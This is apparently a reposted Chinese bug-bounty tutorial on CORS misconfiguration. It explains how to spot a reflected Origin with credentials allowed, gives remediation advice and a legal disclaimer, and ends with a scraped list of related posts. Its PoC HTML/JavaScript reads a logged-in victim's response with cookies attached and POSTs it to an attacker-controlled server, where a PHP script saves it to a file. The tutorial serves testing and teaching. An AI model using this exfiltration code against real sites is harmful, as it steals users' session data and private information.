SRC实战 | CORS跨资源共享漏洞

news2024/11/26 9:39:19

CORS跨资源共享

跨源资源共享 (CORS) 是一种浏览器机制,允许网页使用来自其他页面或域的资产和数据。
大多数站点需要使用资源和图像来运行它们的脚本。这些嵌入式资产存在安全风险,因为这些资产可能包含病毒或允许服务器访问黑客。

CORS响应头

CORS通过在服务器端设置响应头来进行配置。当浏览器发起跨域请求时,服务器可以通过设置特定的CORS响应头来告知浏览器是否允许该请求。常见的CORS响应头包括以下几个:

Access-Control-Allow-Origin:指定允许访问该资源的源。可以是具体的源或通配符(*),表示允许来自任意源的访问。
Access-Control-Allow-Methods:指定允许的HTTP方法(如GET、POST、PUT等)。
Access-Control-Allow-Headers:指定允许的请求头字段。
Access-Control-Allow-Credentials:指定是否允许发送身份凭证(如cookies、HTTP认证等)。
Access-Control-Max-Age:指定预检请求(OPTIONS)的有效期,以减少对服务器的频繁请求。

寻找CORS漏洞

在数据包请求体中加入一个origin请求头

origin: http://xxxx.com

观察响应包,发现Origin可控,

Access-Control-Allow-Credentials: true
Access-Control-Allow-origin:http://xxxx.com

还没有验证referer,就说明可以劫持了。

实战原理

如果目标存在CORS跨资源共享漏洞,对方管理员在没有退出自己所管理的网站的情况下,点击恶意攻击者已经构造好的恶意网站,攻击者可以修改Origin字段为任意指定的值,实现绕过浏览器同源策略的限制,基于CORS漏洞发起恶意请求,实现对目标资源的恶意跨域访问,并读取服务器的响应结果,从而造成服务器的信息泄露。

实战演示

发现cors

通过抓包抓到一个可以响应自己sessionid的请求体

图片


加入请求体origin:http://xxxx.com
观察响应体发现存在cors跨资源共享漏洞

图片

进行跨资源共享

1.html
poc如下:

<h1>CORS test</h1>
function loadXMLDoc(){    var xhr1;    var xhr2;
    if(window.XMLHttpRequest)    {        xhr1 = new XMLHttpRequest();        xhr2 = new XMLHttpRequest();    }    else    {        xhr1 = new ActiveXObject("Microsoft.XMLHTTP");        xhr2= new ActiveXObject("Microsoft.XMLHTTP");    }    xhr1.onreadystatechange=function(){        if(xhr1.readyState == 4 &amp;&amp; xhr1.status == 200) //if receive xhr1 response        {            var datas=xhr1.responseText;            xhr2.open("POST","http://要输入自己的炮台文件地址(需要公网ip)","true");            alert('3');            xhr2.setRequestHeader("Content-type","application/x-www-form-urlencoded;charset=utf-8");            xhr2.send("T1="+escape(datas));              }    }    xhr1.open("GET","https://要输入的存在cors漏洞的url地址","true") //request user page.    alert(xhr1.responseText);    xhr1.withCredentials = true;        //request with cookie    xhr1.send();}loadXMLDoc();

save.php
poc如下:

<?php$myfile = fopen("1.txt","w+") or die("Unable to open file!");$txt = $_POST['T1'];fwrite($myfile,$txt);fclose($myfile);?>

在没有退出目标网站的情况下去访问我们已经构造好的恶意网站http://xxxx.com/1.html
1.html会获取到响应体的内容并且把内容发给save.php,并且创建一个1.txt文件,把信息放到1.txt中

图片

图片

修复建议

1、正确配置跨域请求
如果Web资源包含敏感信息,则应在Access-Control-Allow-Origin标头中正确指定来源。
2、只允许信任的网站
3、避免将null列入白名单
避免使用标题Access-Control-Allow-Origin: null。

申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,

所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.

图片

没看够~?欢迎关注!

免费领取安全学习资料包!(私聊进群一起学习,共同进步)

渗透工具

技术文档、书籍

 

面试题

帮助你在面试中脱颖而出

视频

基础到进阶

环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等

 

应急响应笔记

学习路线

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1177758.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

物联网AI MicroPython学习之语法 sys系统相关

学物联网&#xff0c;来万物简单IoT物联网&#xff01;&#xff01; sys 介绍 sys 模块中提供了与micropython运行环境有关的函数和变量。 常量说明 常量定义常量说明sys.argv当前程序启动的可变参数列表sys.byteorder字节顺序 (‘little’ - 小端&#xff0c; ‘big’ - 大…

深入理解强化学习——多臂赌博机:10臂测试平台

分类目录&#xff1a;《深入理解强化学习》总目录 为了大致评估贪心方法和 ϵ − \epsilon- ϵ−贪心方法相对的有效性&#xff0c;我们将它们在一系列测试问题上进行了定量比较。这组问题是2000个随机生成的 k k k臂赌博机问题&#xff0c;且 k 10 k10 k10。在每一个赌博机问…

Python的切片操作详细用法解析

在利用Python解决各种实际问题的过程中&#xff0c;经常会遇到从某个对象中抽取部分值的情况&#xff0c;切片操作正是专门用于完成这一操作的有力武器。理论上而言&#xff0c;只要条件表达式得当&#xff0c;可以通过单次或多次切片操作实现任意切取目标值。切片操作的基本语…

【计算机架构】程序指令计数 | 功耗计算 | 电力功耗 | 安德尔定律(Amdahl‘s Law)

0x00 程序的指令计数 程序的指令计数&#xff08;Instruction Count&#xff09;由程序本身、ISA&#xff08;指令集架构&#xff09;和编译器决定。这表示一个程序中包含的指令数量受到程序编写方式、计算机体系结构和编译器的影响。 每条指令的平均周期数&#xff08;Averag…

如何更改IP地址为美国IP?美国静态住宅代理如何搭建?

相信很多做跨境电商或外贸如TikTok shop、Facebook商店、Amazon、领英的玩家都需要搭建独享的美国IP环境来运营店铺&#xff0c;那么如何搭建稳定独享的IP环境呢&#xff1f;加下来为你详细介绍&#xff0c;助力您的跨境业务。 一、选择合适的代理IP 代理IP可以帮助隐藏用户真…

XSS漏洞利用工具BeEF

BeEF是Browser Exploitation Framework的缩写。随着人们越来越多地关注针对包括移动客户端在内的客户端的网络传播攻击&#xff0c;BeEF使专业的渗透测试人员可以使用客户端攻击向量来评估目标环境的实际安全状况。与其他安全框架不同&#xff0c;BeEF超越了硬化的网络边界和客…

breach1靶机攻略

breach1 准备 这个靶机ip固定为 192.168.110.140 使用vmware的话&#xff0c;将它加入一张仅主机的网卡就行&#xff0c;比如vmnet7&#xff0c;然后vmnet设置成192.168.110.0网段&#xff0c;kali也新建一张网卡加入该网卡 扫描 nmap --min-rate 10000 -p- 192.168.110.1…

登录Tomcat控制台,账号密码输入正确但点击登录没反应不跳转到控制台页面

在tomcat-users.xml里面可以查看登录tomcat控制台的账号密码&#xff0c;如果账号密码输入正确还是登录不进去&#xff0c;则很有可能是tomcat的账号被锁了&#xff08;可在catalina.xxx.log里面查看&#xff09;。tomcat账号被锁定后默认情况是不访问控制台后5分钟自动解锁&am…

第六章:Property-based Testing and Test Oracles

文章目录 Test OraclesActive and Passive Test OraclesTypes of Test OraclesFormal, executable specificationsSolved examplesMetamorphic oraclesAlternative implementations (备用实现)Heuristic oracles (启发式)The Golden Program!Oracle Deviation (Oracle偏差)T…

Rust编程基础之引用与借用

1.引用与借用 在上一章节最后的代码中, 我们必须将 String 返回给调用函数&#xff0c;以便在调用 calculate_length 后仍能使用 String&#xff0c;因为 String 被移动到了 calculate_length 内。相反我们可以提供一个 String 值的引用&#xff08;reference&#xff09;。引…

BGF-YOLO | 增强版YOLOV8 | 用于脑瘤检测的多尺度注意力特征融合

基于You Only Look Once(YOLO)的目标检测器在自动脑瘤检测中展现出卓越的准确性。在本文中,我们开发了一种新的BGF-YOLO架构,通过将双层路由注意力(BRA)、广义特征金字塔网络(GFPN)和第四检测头整合到YOLOv8中来实现。BGF-YOLO包含了一个注意力机制,用于更加关注重要的…

北马“破3收割机”,特步成赛场和市场双面“赢家”

北马已经落下帷幕&#xff0c;尽管当天全国共有20多场城市马拉松开跑&#xff0c;但作为国内第一个城市马拉松&#xff0c;有“国马”之称的北马&#xff0c;还是赛事的中心点。北马相关的所有标签&#xff0c;都会在跑圈内外引起足够多的讨论&#xff0c;比如一双跑鞋——顶级…

局域网和广域网的区别

局域网靠交换机通信&#xff1b; 广域网靠路由器将多个局域网连接起来通信&#xff1b; 在防火墙内部的叫内网&#xff0c;外部的叫外网&#xff1b; 用ipconfig查到的ip是本机的内网IP;在网页上看到的是连接互联网所用的IP即往往IP 记住&#xff1a;IP地址是唯一的&#x…

阿里云服务器省钱购买和使用方法(图文详解)

阿里云服务器使用教程包括云服务器购买、云服务器配置选择、云服务器开通端口号、搭建网站所需Web环境、安装网站程序、域名解析到云服务器公网IP地址&#xff0c;最后网站上线全流程&#xff0c;新手站长xinshouzhanzhang.com分享阿里云服务器详细使用教程&#xff1a; 一&am…

访问控制、RBAC和ABAC模型

访问控制、RBAC和ABAC模型 访问控制 访问控制的目的是保护对象&#xff08;数据、服务、可执行应用该程序、网络设备或其他类型的信息技术&#xff09;不受未经授权的操作的影响。操作包括&#xff1a;发现、读取、创建、编辑、删除和执行等。 为实现访问控制&#xff0c; 计…

第二阶段第二章——数据库SQL

到这里就是属于原有的知识的扩充了。、 发疯发疯发疯发疯发疯发疯发疯发疯发疯发疯发疯发疯发疯发疯发疯发疯发疯发疯发疯发疯发疯发疯发疯发疯发疯发疯发疯发疯发疯发疯发疯发疯发疯发疯发疯发疯发疯发疯发疯发疯发疯发疯发疯发疯发疯发疯发疯发疯发疯发疯发疯发疯发疯发疯发…

CentOS 7 安装 JDK11(注意版本号要与自己的版本一致)

查看是否有自带的 JDK java -versionrpm -qa | grep jdk卸载自带 JDK rpm -e --nodeps [name] # 如 rpm -e --nodeps java-1.8.0-openjdk-1.8.0.242.b08-1.el7.x86_64查看自带 JDK 是否卸载干净 java -versionrpm -qa | grep jdk在 oracle 官网下载自己所需 JDK 版本&#x…

JavaEE平台技术——MyBatis

JavaEE平台技术——MyBatis 1. 对象关系映射框架——Hibernate、MyBatis2. 对象关系模型映射3. MyBatis的实现机制4. MyBatis的XML定义5. Spring事务 在观看这个之前&#xff0c;大家请查阅前序内容。 &#x1f600;JavaEE的渊源 &#x1f600;&#x1f600;JavaEE平台技术——…

Mythical Beings里的DAO治理指南——Mythical DAO使用方法浅析

DAO(Decentralized Autonomous Organization)去中心化自治组织,正在成为Web3世界的重要组织和治理形式。通过区块链和加密通证等技术实现transparent、inclusive的社区自治。Mythical Beings游戏也推出了Mythical DAO,帮助玩家社区自治。本文主要介绍当前热门的DAO治理工具,以及…

行政处罚有哪些?

一、行政处罚的定义 行政处罚&#xff0c;是指行政机关依法对违反行政管理秩序的公民、法人或者其他组织&#xff0c;以减损权益或者增加义务的方式予以惩戒的行为。这是首次以立法的形式明确“行政处罚”的定义。 二、行政处罚与行政处分的区别 行政处分是指国家行政机关对其…